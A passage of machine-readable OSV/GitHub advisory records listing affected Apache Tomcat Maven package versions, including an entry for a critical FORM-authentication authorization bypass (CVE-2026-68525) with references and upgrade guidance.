"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.0",
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.11",
"7.0.12",
"7.0.14",
"7.0.16",
"7.0.19",
"7.0.2",
"7.0.20",
"7.0.21",
"7.0.22",
"7.0.23",
"7.0.25",
"7.0.26",
"7.0.27",
"7.0.28",
"7.0.29",
"7.0.30",
"7.0.32",
"7.0.33",
"7.0.34",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.4",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.5",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.6",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.8",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0-M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.0",
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.11",
"7.0.12",
"7.0.14",
"7.0.16",
"7.0.19",
"7.0.2",
"7.0.20",
"7.0.21",
"7.0.22",
"7.0.23",
"7.0.25",
"7.0.26",
"7.0.27",
"7.0.28",
"7.0.29",
"7.0.30",
"7.0.32",
"7.0.33",
"7.0.34",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.4",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.5",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.6",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.8",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
}
]
},
{
"id": "GHSA-h3x4-894j-xpx5",
"summary": "Apache Tomcat's FORM authentication process has an Incorrect Authorization vulnerability",
"details": "Incorrect Authorization vulnerability in Apache Tomcat's FORM authentication process allows the bypassing of a security constraint that limits user has access to a resource POST but not GET.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120.\n\nThe following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121, which fixes the issue.",
"aliases": [
"BIT-tomcat-2026-68525",
"CVE-2026-68525"
],
"modified": "2026-09-11T08:25:40.118635278Z",
"published": "2026-08-26T00:30:52Z",
"database_specific": {
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T22:39:14Z",
"nvd_published_at": "2026-08-25T22:17:05Z",
"cwe_ids": [
"CWE-863"
]
},
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68525"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/10d048e16034ddf12055e0cede0da05b15c823b8"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/32f0c38526b4e655ff0c17cd97afedefc624fe43"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/58123aa468a20e2a079b7e0c68a4009e2475c098"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/x1y2lfsgzxwzc456f8954vbvgn03zhd7"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/26/7"
}
],
"affected": [
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0-M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0-M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
